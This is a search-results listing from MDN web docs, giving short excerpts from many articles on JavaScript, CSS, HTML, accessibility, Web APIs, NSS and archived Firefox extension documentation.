well if you combine the two, you can have inherited private variables: function myclass(){ var property = 5; this.tellme = function(){ return property; } } function myotherclass(){ myclass.apply( this ); } var o = new myotherclass; alert( o.tellme() ); //alerts 5 as you'd expect — the preceding comment was added by psygnisfive (talk – contribs) on 22:23, 4 december 2006 terminology we need a terminology appendix.
...there are 5 cases where "javascript1.2" is mentioned in this reference: special:search?search=javascript1.2&go=go.
...--maian 23:43, 21 september 2005 (pdt) i think we need a new section in the reference that specifies the differences between versions, collecting this information into a single location rather than leaving it scattered haphazardly throughout the reference as it currently is.
...And 34 more matches
Mobile accessibility - Learn web development
these days, mobile devices can usually handle fully-featured websites, and the main platforms even have screenreaders built in to enable visually impaired users to use them successfully.
... you can also "explore by touch" — hold your finger down on the screen and drag it around, and your device will read out the different apps/items you move across.
... note: you can get to your home screen at any time by swiping up and left in a smooth motion.
...And 34 more matches
Accessible multimedia - Learn web development
previous overview: accessibility next another category of content that can create accessibility problems is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
...images, videos, <canvas> elements, flash movies, etc., aren't as easily understood by screenreaders or navigated by the keyboard, and we need to give them a helping hand.
... simple images we already covered simple text alternatives for html images in our html: a good basis for accessibility article — you can refer back to there for the full details.
...And 34 more matches
Grids - Learn web development
a grid is a collection of horizontal and vertical lines creating a pattern against which we can line up our design elements.
... a grid will typically have columns, rows, and then gaps between each row and column — commonly referred to as gutters.
... creating your grid in css having decided on the grid that your design needs, you can use css grid layout to create that grid in css and place items onto it.
...And 34 more matches
Basic native form controls - Learn web development
note: the features discussed in this article are supported in all browsers, which is not the case for all form controls.
...this means that you cannot use them to perform rich editing (bold, italic, etc.).
... all basic text controls share some common behaviors: they can be marked as readonly (the user cannot modify the input value but it is still sent with the rest of the form data) or disabled (the input value can't be modified and is never sent with the rest of the form data).
...And 34 more matches
The web and web standards - Learn web development
this article provides some useful background on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
... brief history of the web we'll keep this very brief, as there are many (more) detailed accounts of the web's history out there, which we'll link to later on (also try searching for "history of the web" in your favorite search engine and see what you get, if you are interested in more detail.) in the late 1960s, the us military developed a communication network called arpanet.
... this can be considered a forerunner of the web, as it worked on packet switching, and featured the first implementation of the tcp/ip protocol suite.
...And 34 more matches
Adding vector graphics to the Web - Learn web development
previous overview: multimedia and embedding next vector graphics are very useful in many circumstances — they have small file sizes and are highly scalable, so they don't pixelate when zoomed in or blown up to a large size.
...popular web raster formats include bitmap (.bmp), png (.png), jpeg (.jpg), and gif (.gif.) vector images are defined using algorithms — a vector image file contains shape and path definitions that the computer can use to work out what the image should look like when rendered on the screen.
...you can find this example live on our github repo as vector-versus-raster.html — it shows two seemingly identical images side by side, of a red star with a black drop shadow.
...And 34 more matches
Functions — reusable blocks of code - Learn web development
previous overview: building blocks next another essential concept in coding is functions, which allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times.
...in fact, some of the code you are calling when you invoke (a fancy word for run, or execute) a built in browser function couldn't be written in javascript — many of these functions are calling parts of the background browser code, which is written largely in low-level system languages like c++, not web languages like javascript.
... functions versus methods programmers call functions that are part of objects methods.
...And 34 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
previous overview: client-side javascript frameworks next now that we have our markup and styles ready we can start developing the required features for our svelte to-do list app.
... repl to code along with us using the repl, start at https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 working with todos our todos.svelte component is currently just displaying static markup; let's start making it a bit more dynamic.
... dynamically generating the todos from the data at the moment, our displayed todo items are all static.
...And 34 more matches
NSS FAQ
MozillaProjectsNSSFAQ
general questions what is network security services (nss) nss is set of libraries, apis, utilities, and documentation designed to support cross-platform development of security-enabled client and server applications.
... what can i do with nss?
... is nss appropriate for my application?
...And 34 more matches
Enc Dec MAC Output Public Key as CSR
generates encryption/mac keys and outputs public key as certificate signing request /* this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" typedef enum { gen_csr, encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6 } headertype; /* this is conditionalized because port_errortostring was introduced with nss 3.13.
...And 34 more matches
NSS tools : crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...please contribute to the initial review in mozilla nss bug 836477[1] description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation.
...And 34 more matches
NSS tools : crlutil
MozillaProjectsNSStoolscrlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... synopsis crlutil [options] arguments description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation.
...And 34 more matches
JS::CompileOptions
in a js_threadsafe build, the caller must be in a request on this jscontext.
...callers should set this flag for cross-origin scripts, and it will be propagated appropriately to child scripts and passed back in jserrorreports.
...source belongs to a dom element in the following cases: source belongs to a <script> element if it is the element's text content (that is, it is written out as the body of the <script> element in the markup text), or is the source document referenced by its src attribute.
...And 34 more matches
Secure Development Guidelines
the following content will likely see significant revision, though can be used as a reference for security best practices to follow when developing code for mozilla.
... toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modified directly introduction: gaining control (2) eip is modified using call or jump instructions attacks usually rely on obtaining control over the eip otherwise the attacker can try to control memory pointed to by an existing function pointer a vulnerability is required to modify the eip or sensitive memory saved return addr or function pointer get altered introduction...
...t vulnerabilities are a result of un-validated input always perform input validation could save you without knowing it examples: if it doesn’t have to be negative, store it in an unsigned int if the input doesn’t have to be > 512, cut it off there if the input should only be [a-za-z0-9], enforce it cross site scripting (xss) xss is a type of code injection attack typically occurs in web applications injection of arbitrary data into an html document from another site victim’s browser executes those html instructions could be used to steal user credentials think: webmail, online auction, cms, online banking...
...And 34 more matches
Avoiding leaks in JavaScript XPCOM components
this article needs to be updated to reflect the changes and the cases where they help.
...there are no calls to malloc and free and no reference counting.
...but it's even easier in this environment because some of the objects you're dealing with are reference-counted behind the scenes.
...And 34 more matches
IAccessibleText
typically this feature would not be implemented by an application.
... however, if the application developer was not satisfied with how screen readers have handled the reading of sentences this boundary type could be implemented and screen readers could use the application's version of a sentence rather than the screen reader's.
...method overview hresult addselection([in] long startoffset, [in] long endoffset ); [propget] hresult attributes([in] long offset, [out] long startoffset, [out] long endoffset, [out] bstr textattributes ); [propget] hresult caretoffset([out] long offset ); [propget] hresult characterextents([in] long offset, [in] enum ia2coordinatetype coordtype, [out] long x, [out] long y, [out] long width, [out] long height ); [propget] hresult ncharacters([out] long ncharacters ); [propget] hresult newtext([out] ia2textsegment newtext ); [propget] hresult nselections([out] long nselections ); [propget] hresult offsetatpoint([in] long x, [in] long y, [in] enum i...
...And 34 more matches
nsIWebBrowserPersist
embedding/components/webbrowserpersist/nsiwebbrowserpersist.idlscriptable interface for persisting dom documents and uris to local or remote storage.
... inherits from: nsicancelable last changed in gecko 36.0 (firefox 36.0 / thunderbird 36.0 / seamonkey 2.33) implemented by: @mozilla.org/embedding/browser/nswebbrowser;1 and @mozilla.org/embedding/browser/nswebbrowserpersist;1.
... to create an instance, use: var webbrowserpersist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"] .createinstance(components.interfaces.nsiwebbrowserpersist); method overview void cancelsave(); void savechannel(in nsichannel achannel, in nsisupports afile); void savedocument(in nsidomdocument adocument, in nsisupports afile, in nsisupports adatapath, in string aoutputcontenttype, in unsigned long aencodingflags, in unsigned long awrapcolumn); void saveuri(in nsiuri auri, in nsisupports acachekey, in nsiuri areferrer, in long areferrerpolicy, in nsiinputstream apostdata, in string aextraheaders, in nsisupports afile, in nsiloadcontext aprivacycontext); void saveprivacyawareuri(in nsiuri aur...
...And 34 more matches
Initialization and Destruction - Plugins
initialization: the browser calls the plug-in api function np_initialize when the plug-in code is first loaded.
... instance creation: the browser calls the plug-in api function npp_new when the instance is created.
... instance destruction: the plug-in instance is deleted when the user leaves the instance page or closes the instance window; the browser calls the function npp_destroy to tell the plug-in that the instance is being deleted.
...And 34 more matches
Accessibility Inspector - Firefox Developer Tools
this means trying your best to not lock anyone out of accessing information because of any disability they may have, or any other personal circumstances such as the device they are using, the speed of their network connection, or their geographic location or locale.
... you can find more extensive information in the accessibility section of mdn web docs.
...in such a situation, you can use wai-aria role attributes to provide your own roles.
...And 34 more matches
CSSPrimitiveValue - Web APIs
(for example, a pixel value cannot be converted to a centimeter value.) percentage values can't be converted since they are relative to the parent value (or another property value).
... there is one exception for color percentage values: since a color percentage value is relative to the range 0-255, a color percentage value can be converted to a number (see also the rgbcolor interface).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/cssvalue" target="_top"><rect x="1" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvalue</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#d4dde4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/cssprimitiveval...
...And 34 more matches
Introduction to the DOM - Web APIs
we'll look at how the dom represents an html or xml document in memory and how you use apis to create web content and applications.
...it represents the page so that programs can change the document structure, style, and content.
...that way, programming languages can connect to the page.
...And 34 more matches
MediaTrackSettings - Web APIs
to learn more about how constraints and settings work, see capabilities, constraints, and settings.
... properties some or all of the following will be included in the object, either because it's not supported by the browser or because it's not available due to context.
... for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid.
...And 34 more matches
Using the Payment Request API - Web APIs
so for example, you could create a new paymentrequest instance like so: var request = new paymentrequest(buildsupportedpaymentmethoddata(), buildshoppingcartdetails()); the functions invoked inside the constructor simply return the required object parameters: function buildsupportedpaymentmethoddata() { // example supported payment methods: return [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard'], supportedtypes: ['debit', 'credit'] } }]; } function buildshoppingcartdetails() { //...
... hardcoded for demo purposes: return { id: 'order-123', displayitems: [ { label: 'example item', amount: {currency: 'usd', value: '1.00'} } ], total: { label: 'total', amount: {currency: 'usd', value: '1.00'} } }; } starting the payment process once the paymentrequest object has been created, you call the paymentrequest.show() method on it to initiate the payment request.
...for this demo, simulate immediate success: paymentresponse.complete('success') .then(function() { // for demo purposes: intropanel.style.display = 'none'; successpanel.style.display = 'block'; }); }) this object provides the developer with access to details they can use to complete the logical steps required after the payment completes, such as an email address to contact the customer, a shipping address for mailing goods out to them, etc.
...And 34 more matches
Streams API concepts - Web APIs
the streams api adds a very useful set of tools to the web platform, providing objects allowing javascript to programmatically access streams of data received over the network and process them as desired by the developer.
... there are two types of underlying source: push sources constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream.
...examples include a file access operation via a fetch or xhr call.
...And 34 more matches
Using readable streams - Web APIs
as a javascript developer, programmatically reading and manipulating streams of data received over the network, chunk by chunk, is very useful!
... note: this article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts.
... if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back.
...And 34 more matches
Adding 2D content to a WebGL context - Web APIs
« previousnext » once you've successfully created a webgl context, you can start rendering into it.
... a simple thing we can do is draw a simple square untextured plane, so let's start there, by building code to draw a square plane.
...it's just we're drawing a square and we're putting it directly in front of the camera perpendicular to the view direction.
...And 34 more matches
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
setting these is a good idea for consistency, as browser defaults can differ.
... autocapitalize this is a non-standard attribute supported by webkit on ios (therefore nearly all browsers running on ios, including safari, firefox, and chrome), which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user.
... the non-deprecated values are available in ios 5 and later.
...And 34 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
for example, web apps are more discoverable than native apps; it's a lot easier and faster to visit a website than to install an application, and you can also share web apps by simply sending a link.
...you can install a native app so that it works offline, and users love tapping their icons to easily access their favorite apps, rather than navigating to it using a browser.
... pwas give us the ability to create web apps that can enjoy these same advantages.
...And 34 more matches
/loader - Archive of obsolete content
usage the code is intentionally authored so that it can be loaded in several ways.
... it can be loaded as a regular script tag in documents that have system principals (note: this does not appear to work as of 02.2016 due to "use strict" being added to the file): <script type='application/javascript' src='resource://gre/modules/commonjs/toolkit/loader.js'></script> this will expose a single loader object containing all of the api functions described in this document.
... it can be loaded as a javascript code module: let { loader, require, unload } = components.utils.import('resource://gre/modules/commonjs/toolkit/loader.js'); it can be required as a commonjs module from a module loaded in the loader itself: let { loader, require, unload } = require('toolkit/loader'); what is it good for ?
...And 33 more matches
ui/button/action - Archive of obsolete content
with this module you can create buttons that display icons and can respond to click events.
...label: var { actionbutton } = require("sdk/ui/button/action"); var button = actionbutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onclick: function(state) { console.log("button '" + state.label + "' was clicked"); } }); by default, the button appears in the firefox toolbar: however, users can move it to the firefox menu panel using the toolbar customization feature: badged buttons new in firefox 36.
... you can add a "badge" to a button using its badge property.
...And 33 more matches
Adding sidebars - Archive of obsolete content
« previousnext » the sidebar in firefox is a relatively large and flexible space to add rich interfaces without requiring new windows or complicated overlays.
... sidebars take as much space as the user wants them to, and provide a frame where you can add elaborate data and controls.
...if not, you can open either one from the view > sidebar menu.
...And 33 more matches
Drag and Drop - Archive of obsolete content
next » as of gecko 1.9.1 (firefox 3.5), these apis are officially deprecated the newer, simpler, portable api should be used in their place.
... this section describes how to implement objects that can be dragged around and dropped onto other objects.
...mozilla and xul provide a number of events that can handle when the user attempts to drag objects around.
...And 33 more matches
A XUL Bestiary - Archive of obsolete content
i selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in xul and cross-platform development.
...in general, chrome refers to a xul interface and all of its supporting files; chrome means the xul content and structure, plus the css skin, plus whatever localization and platform-specific files are part of that xul interface.
... by contrast, the skin is just the css and referenced graphics for a xul file, the localization strings are just a dtd, and the content is just the xul.
...And 33 more matches
XUL Events - Archive of obsolete content
the events listeners can be attached using addeventlistener and removed using removeeventlistener.
... some of the events can be attached using attributes as well.
... when attaching event listeners using attributes, be aware that only one listener can be attached at a time.
...And 33 more matches
Adding Event Handlers - Archive of obsolete content
we would want to add a script to handle the find button, the cancel button and to handle each menu command.
... you can use the script element to include scripts in xul files.
... you can embed the script code directly in the xul file in between the opening and closing script tags but it is much better to include code in a separate file as the xul window will load slightly faster.
...And 33 more matches
What is RSS - Archive of obsolete content
the most popular versions of rss are xml-based markup languages used for syndication.
... (although rdf-based rss formats exist, namely the deprecated rss 0.90 and rss 1.0.) common uses of rss syndication are for the syndication of news web sites, of blogs, of internet radio, and of internet television.
...however, so that we can learn rss, we will be creating rss scripts by hand.
...And 33 more matches
Backgrounds and borders - Learn web development
previous overview: building blocks next in this lesson, we will take a look at some of the creative things you can do with css backgrounds and borders.
...if you discover a complex background property in a stylesheet, it might seem a little hard to understand as so many values can be passed in at once.
... .box { background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat, url(big-star.png) center no-repeat, rebeccapurple; } we'll return to how the shorthand works later in the tutorial, but first let's have a look at the different things you can do with backgrounds in css, by looking at the individual background properties.
...And 33 more matches
Multiple-column layout - Learn web development
previous overview: css layout next the multiple-column layout specification gives you a method of laying content out in columns, as you might see in a newspaper.
...you can follow along by downloading the multicol starting point file and adding the css into the appropriate places.
... at the bottom of the section you can see a live example of what the final code should look like.
...And 33 more matches
Handling text — strings in JavaScript - Learn web development
previous overview: first steps next next, we'll turn our attention to strings — this is what pieces of text are called in programming.
... in this article, we'll look at all the common things that you really ought to know about strings when learning javascript, such as creating strings, escaping quotes in strings, and joining strings together.
... the power of words words are very important to humans — they are a large part of how we communicate.
...And 33 more matches
HTTP logging
sometimes, while debugging your web app (or client-side code using necko), it can be useful to log http traffic.
... this saves a log of http-related information from your browser run into a file that you can examine (or upload to bugzilla if a developer has asked you for a log).
... at any point during while your browser is running, you can turn logging on and off.
...And 33 more matches
Accessing the Windows Registry Using XPCOM
the interface follows the windows api fairly closely, but with many of the low-level details taken care of for you.
... a simple example here's a simple example showing how to read your windows productid: var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft\\windows\\currentversion", wrk.access_read); var id = wrk.readstringvalue("productid"); wrk.close(); this example, while simple, shows several important things about using the interface.
...second, you must call open() on the key before attempting to read a value.
...And 33 more matches
nsIChannel
inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters.
... then, the uri can be fetched by calling open() or asyncopen().
... method overview void asyncopen(in nsistreamlistener alistener, in nsisupports acontext); nsiinputstream open(); attributes attribute type description contentcharset acstring the character set of the channel's content if available and if applicable.
...And 33 more matches
Using the clipboard
the component @mozilla.org/widget/clipboardhelper;1 can be used to copy text to the clipboard.
... this component implements the interface nsiclipboardhelper, which has a function copystring that can be used to copy a string.
...you can use them to copy and paste any type of data from your application to the clipboard.
...And 33 more matches
Xray vision
xray vision helps javascript running in a privileged security context safely access objects created by less privileged code, by showing the caller only the native version of the objects.
... the javascript code that along with the c++ core, implements the browser itself is called chrome code and runs using system privileges.
... if chrome-privileged code is compromised, the attacker can take over the user's computer.
...And 33 more matches
Audio and Video Delivery - Developer guides
we can deliver audio and video on the web in a number of ways, ranging from 'static' media files to adaptive live streams.
...you can find compatibility information in the guide to media types and formats on the web.
...also, the autoplay feature can be controversial when misused.
...And 33 more matches
HTML5 - Developer guides
WebGuideHTMLHTML5
it is a new version of the language html, with new elements, attributes, and behaviors, and a larger set of technologies that allows the building of more diverse and powerful web sites and applications.
... this set is sometimes called html5 & friends and often shortened to just html5.
... connectivity: allowing you to communicate with the server in new and innovative ways.
...And 33 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
WebHTMLAttributesrel
not allowed link not allowed canonical preferred url for the current document.
... external resource not allowed not allowed license indicates that the main content of the current document is covered by the copyright license described by the referenced document.
...optionally, the module's dependencies can be fetched as well.
...And 33 more matches
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
<input> elements of type image are used to create graphical submit buttons, i.e.
... additional attributes in addition to the attributes shared by all <input> elements, image button inputs support the following attributes: attribute description alt alternate string to display when the image can't be shown formaction the url to which to submit the data formenctype the encoding method to use when submitting the form data formmethod the http method to use when submitting the form formnovalidate a boolean which, if present, indicates that the form shouldn't be validated before submission formtarget a string indicating a browsing c...
...ontext from where to load the results of submitting the form height the height, in css pixels, at which to draw the image src the url from which to load the image width the width, in css pixels, at which to draw the image alt the alt attribute provides an alternate string to use as the button's label if the image cannot be shown (due to error, a user agent that cannot or is configured not to show images, or if the user is using a screen reading device).
...And 33 more matches
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
you can retrieve this using the value property in javascript.
...erate on all <input> elements regardless of their type, text inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid pattern a regular expression the input's contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the contents of the input should be read-only size a number indicating how many characters wide the...
... input field should be spellcheck controls whether or not to enable spell checking for the input field, or if the default spell checking configuration should be used list the values of the list attribute is the id of a <datalist> element located in the same document.
...And 33 more matches
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
the <meta> element can be used to provide document metadata in terms of name-value pairs, with the name attribute giving the metadata name, and the content attribute giving the value.
... standard metadata names defined in the html specification the html specification defines the following set of standard metadata names: application-name: the name of the application running in the web page.
... note: browsers may use this to identify the application.
...And 33 more matches
Redirections in HTTP - HTTP
url redirection, also known as url forwarding, is a technique to give more than one url address to a page, a form, or a whole web site/application.
... http has a special kind of response, called a http redirect, for this operation.
...redirect responses have status codes that start with 3, and a location header holding the url to redirect to.
...And 33 more matches
Function.prototype.bind() - JavaScript
the bind() method creates a new function that, when called, has its this keyword set to the provided value, with a given sequence of arguments preceding any provided when the new function is called.
... syntax let boundfunc = func.bind(thisarg[, arg1[, arg2[, ...argn]]]) parameters thisarg the value to be passed as the this parameter to the target function func when the bound function is called.
...when using bind to create a function (supplied as a callback) inside a settimeout, any primitive value passed as thisarg is converted to object.
...And 33 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
while progressive web apps (pwas) can do anything any web content can do, they need to have a particular structure and include specific components in order to be recognized as a web app that can be used both on the web and installed and run as a local application.
... in this structural overview, we'll look at the features that make up a standard web application, as well as some design patterns you can follow when building your pwa.
...they both have their advantages and disadvantages, and you can mix the two approaches to some degree.
...And 33 more matches
Index of archived content - Archive of obsolete content
.htaccess ( hypertext access ) 2015 mdn fellowship program api navigator navigator.moznotification add-ons add-on sdk builder guides content scripts communicating with other scripts communicating using "port" communicating using "postmessage" cross-domain content scripts interacting with page scripts loading content scripts reddit example port self ...
... testing the add-on sdk two types of scripts working with events xul migration guide high-level apis addon-page base64 clipboard context-menu hotkeys indexed-db l10n notifications page-mod page-worker panel passwords private-browsing querystring request selection self simple-prefs simple-storage system tabs timers ui url widget ...
...tem/xul-app tabs/utils test/assert test/harness test/httpd test/runner test/utils ui/button/action ui/button/toggle ui/frame ui/id ui/sidebar ui/toolbar util/array util/collection util/deprecate util/list util/match-pattern util/object util/uuid window/utils release notes tools cfx cfx to jpm console jpm jpm-mobile jpmignore package.json ...
...And 32 more matches
OpenClose - Archive of obsolete content
opening menus menus will display themselves automatically when needed without extra work.
...in this case, the parent menu must be opened first.
... a menu in an unprivileged content window (such as a web page) can only open a popup while its window is focused, and it is in the currently active tab.
...And 32 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
(for seamonkey 2, firefox, thunderbird and sunbird, see the page: custom toolbar button) you do not need any special technical skills or tools, and almost all the information you need is on this page.
...you can use the sample code provided here to make buttons that do various useful things.
... if you know how to program in javascript, then you can write your own code that does other things.
...And 32 more matches
More Event Handlers - Archive of obsolete content
in the attribute form of the event handler, the event object is an implied argument to the script code which can be referred to using the name 'event'.
... other arguments can be passed to a listener function, if required.
... the event object has a number of properties which can be examined during an event.
...And 32 more matches
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
« previousnext » xul provides a way to create tabular or hierarchical lists using a tree.
...it can be used with rows either in a flat list or arranged into a hierarchy.
...some examples of trees include the list of messages in a mail application, or the bookmarks window in mozilla.
...And 32 more matches
Extentsions FAQ - Archive of obsolete content
return to mozilla-dev-extensions faq friday, september 22 - 29, 2006 (↑ top) how to write an xpcom component in c++ that can communicate to a com component?
... use wm_copydata how to creating an extension that can replace html code on a specific page that does not use greasemonkey?
..."); var replaceme = document.getelementbyid("replaceme"); replaceme.parentnode.replacechild(newnode, replaceme); is it possible to place an image in the window that can be moved to anywhere in the window, and always remain on top of everything else?(similiar to using position:absolute and-index:100000 in html) you can almost do this with a stack: <window ...> <stack flex="1"> <image top="40" left="80"/> <vbox> other content here </vbox> </stack> </window> the only restriction is that your image can't overlap the right or bottom of the window.
...And 32 more matches
Building a Theme - Archive of obsolete content
an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /preview.png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by crea...
...inside your new theme folder, create two new empty text files, one called chrome.manifest and the other called install.rdf.
...the location differs by operating system: linux: /usr/lib/mozillafirefox/chrome/classic.ja or /usr/lib/firefox-*.*.*/omni.ja windows: \program files\mozilla firefox\omni.ja mac os x: /applications/firefox.app/contents/macos/omni.ja now, open (or unzip) this file into the directory you created.
...And 32 more matches
HTML table advanced features and accessibility - Learn web development
previous overview: tables next in the second article in this module, we look at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for visually impaired users.
... adding a caption to your table with <caption> you can give your table a caption by putting it inside a <caption> element and nesting that inside the <table> element.
... <table> <caption>dinosaurs in the jurassic period</caption> ...
...And 32 more matches
Making asynchronous programming easier with async and await - Learn web development
previous overview: asynchronous next more recent additions to the javascript language are async functions and the await keyword, part of the so-called ecmascript 2017 javascript edition (see ecmascript next support in mozilla).
... these features basically act as syntactic sugar on top of promises, making asynchronous code easier to write and to read afterwards.
... you can also create an async function expression, like so: let hello = async function() { return "hello" }; hello(); and you can use arrow functions: let hello = async () => { return "hello" }; these all do basically the same thing.
...And 32 more matches
Arrays - Learn web development
arrays are generally described as "list-like objects"; they are basically single objects that contain multiple values stored in a list.
... array objects can be stored in variables and dealt with in much the same way as any other type of value, the difference being that we can access each value inside the list individually, and do super useful and efficient things with the list, like loop through it and do the same thing to every value.
... if we didn't have arrays, we'd have to store every item in a separate variable, then call the code that does the printing and adding separately for each item.
...And 32 more matches
Object building practice - Learn web development
in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, with a fun and colorful result.
... let's bounce some balls in this article we will write a classic "bouncing balls" demo, to show you how useful objects can be in javascript.
...the finished example will look a little something like this: this example will make use of the canvas api for drawing the balls to the screen, and the requestanimationframe api for animating the whole display — you don't need to have any previous knowledge of these apis, and we hope that by the time you've finished this article you'll be interested in exploring them more.
...And 32 more matches
Object prototypes - Learn web development
in this article, we explain how prototype chains work and look at how the prototype property can be used to add methods to existing constructors.
... javascript is often described as a prototype-based language — to provide inheritance, objects can have a prototype object, which acts as a template object that it inherits methods and properties from.
... note: it's important to understand that there is a distinction between an object's prototype (available via object.getprototypeof(obj), or via the deprecated __proto__ property) and the prototype property on constructor functions.
...And 32 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
however, we can't update our list of items without manually changing our code!
... in your components folder, create a new file called todoform.vue.
... </label> <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" /> <button type="submit"> add </button> </form> </template> so we now have a form component into which we can enter the title of a new todo item (which will become a label for the corresponding todoitem when it is eventually rendered).
...And 32 more matches
How Mozilla's build system works
phases when you type mach build to build the tree, three high-level phases occur within the build system: system detection and validation preparation of the build backend invocation of the build backend phase 1: configure phase 1 centers around the configure script.
...the file is generated from a file called configure.in, which is written in m4 and processed using autoconf 2.13 to create the final configure script.
...the primary output of the configure script is an executable file in the object directory called config.status.
...And 32 more matches
Multiple Firefox profiles
you can find details about profiles on mozilla's end-user support site.
... reasons to have multiple profiles the casual user may want to have different profiles for work and personal use, or different family members.
...you can remove such add-ons from your profile for nightly use while keeping them for use with other profiles.
...And 32 more matches
Overview of Mozilla embedding APIs
mozilla's xpcom layer consists of a component model (called xpcom) and the infrastructure necessary to support dynamic registration, instantiation and manipulation of xpcom components.
...much of the gecko functionality is exposed through a component called the nswebbrowser.
... embedding applications can leverage this component to easily access many of gecko's features.
...And 32 more matches
GCIntegration - SpiderMonkey Redirect 1
it's better to store them in reserved slots, since those will automatically be traced if the object is native.
...done naively, this technique can lead to reachable object not being marked.
...spidermonkey uses a simple barrier commonly called a "snapshot at the beginning" barrier.
...And 32 more matches
SpiderMonkey 1.8.5
the latest version of spidermonkey can always be found on the source download page.
...you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32).
...spidermonkey 1.8.5 includes a just-in-time compiler (jit) (several, actually) that compiles javascript to machine code, for a significant speed increase.
...And 32 more matches
Animated PNG graphics
MozillaTechAPNG
authors the apng specification was authored by: stuart parmenter <pavlov@pavlov.net> vladimir vukicevic <vladimir@pobox.com> andrew smith <asmith15@littlesvr.ca> overview apng is an extension of the portable network graphics (png) format, adding support for animated images.
... the canvas is the area on the output device on which the frames are to be displayed.
... the contents of the canvas are not necessarily available to the decoder.
...And 32 more matches
mozIStorageConnection
method overview void asyncclose([optional] in mozistoragecompletioncallback acallback); void begintransaction(); void begintransactionas(in print32 transactiontype); mozistoragestatement clone([optional] in boolean areadonly); void close(); void committransaction(); void createaggregatefunction(in autf8string afunctionname, in long anumarguments, in mozistorageaggregatefunction afunction); mozistora...
